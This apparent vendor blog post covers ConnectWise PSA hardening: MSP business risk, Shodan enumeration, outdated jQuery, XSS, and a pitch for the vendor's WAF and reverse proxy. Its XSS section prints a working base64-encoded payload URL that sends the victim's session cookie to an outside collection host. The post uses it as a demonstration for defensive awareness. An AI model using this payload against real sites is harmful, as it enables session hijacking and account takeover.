Do you need a WAF for ConnectWise PSA, or other cybersecurity hardening? In short, yes! In this blog post, we’ll explore the attack surface and defense techniques for ConnectWise PSA (aka ConnectWise Manage, or just “ConnectWise,” depending on how long you’ve been in the industry).
ConnectWise PSA: Not an RMM, but still an attack target
The PSA is the lifeblood of the typical MSP. Have you ever heard the phrase, “If it’s not in ConnectWise, it didn’t happen?” Almost every call in or out of the average MSP is logged in the PSA, whether it’s support, sales, accounting, or purchasing. If an attacker compromised a CW PSA instance, the fallout is less obvious compared to an RMM exploit. However, it could run the gamut from secondary exploits via integrations to traditional phishing attacks and payment fraud scams. Regardless, the downtime from an attack would impact almost every employee at an average MSP.
One thing to consider during an attack scenario would be the impact on business operations. Perhaps the most impactful to the entire organization might be cash flow—if you bill clients from CW PSA, it’s difficult to get paid if you can’t send invoices. The acute impact could be large since insurance payouts post-attack aren’t always instant, but you’ll have extra expenses immediately after an incident.
A potential example of this playing out is the story of PM Consultants. They were an MSP in the dental vertical in Portland. They were hit by a ransomware attack in 2019, couldn’t recover, shut down, and declared Chapter 7 bankruptcy in 2020. We don’t have a large number of details about the particulars, but the approximate timeframe lines up with other exploits of CVE-2017-18362 deploying GrandCrab ransomware through the RMM via a vulnerable plugin in CW PSA. One unpatched plugin likely led to bankruptcy for that MSP, and the risk still exists for MSPs today.
Additional security considerations
As of March 2025, ~2,200 instances of CW PSA are visible in Shodan.
We’ve discussed the dangers of enumeration previously, but in a nutshell, once attackers have an exploit, they will attack any vulnerable device they can find. Preventing enumeration can prevent attacks before they begin.
Like most software tools, ConnectWise PSA uses third-party libraries. This technology is also enumerable in IoT scanners, and in the case of CW PSA, the jQuery library is of interest. In our analysis of Shodan data, 6.5% of MSPs had publicly enumerable vulnerabilities—and a majority of them were due to old jQuery versions that were vulnerable to cross-site scripting (XSS).
While keeping the application patched typically resolves issues with 3rd party libraries, there will always be a gap between when a vulnerability is found in a library and when a vendor using that library ships an application update with the new version. This creates an attack risk that can’t be mitigated without additional security technology.
XSS: A top threat for CW PSA
The most likely attack vector based on the architecture and existing vulnerability data is XSS. This has some interesting implications since most MSPs don’t have any existing defenses against these types of attacks.
In short, an XSS attack occurs when an attacker injects a script (normally JavaScript) into a website. The attacker then interacts with the website with the same access as the victim. These attacks either steal credentials in the form of session cookies for later use or perform other actions inside the victim’s session.
https://vulnerable-psa.example.com/DVWA/vulnerabilities/xss_d/?default=<script src=data:text/javascript;base64,ZG9jdW1lbnQubG9jYXRpb249J2h0dHBzOi8vd2ViaW5hcmNvb2tpZXRlc3QuZnJlZS5iZWVjZXB0b3IuY29tP2Nvb2tpZT0nK2RvY3VtZW50LmNvb2tpZQ==></script>Above, we have an XSS payload from a prior webinar. This is an otherwise legitimate URL, but it has JavaScript inserted into a URL parameter in a way that will cause the application to run this when the web page loads. The payload is base64 encoded, but it takes the session cookie and sends it to the attacker.
Unfortunately, neither virus scanners (Virus Total) nor email link protection (via Microsoft Safe Links) detect the XSS payload above. In this example, the URL is to a valid and legitimate (but vulnerable) page inside of the application – showing it’s possible to be exploited with a link to your own tools in certain circumstances. While user training can help, our modern landscape involves lots of long and complex URLs – and implementing a technical control gives MSPs the edge they need in today’s threat landscape.
Protecting CW PSA with a WAF
How does an MSP protect CW PSA from XSS or other zero-day exploits? By using a web application firewall (WAF).
A proper WAF solution performs deep inspection of inbound web traffic, looking for malicious payloads. Optimally paired with a reverse proxy, the combination of deep inspection and other security controls (such as Layer 7 access restrictions, protocol hardening, and GeoIP) forms a very robust defense.
With a reverse proxy, it’s possible to create Layer 7 rules for things such as:
- Enforcing the use of a specific web browser
- Restricting API calls to known integrations
- Requiring SSO before reaching the application
- Restrict specific requests based on custom rules
- Traditional IP and GeoIP rules
Here at Automation Theory, we have a turn-key offering for reverse proxy and WAF for ConnectWise PSA, also compatible with a number of other on-prem MSP tools. Initial setup takes less than an hour, and we offer a 30-day trial period. You can find details here.
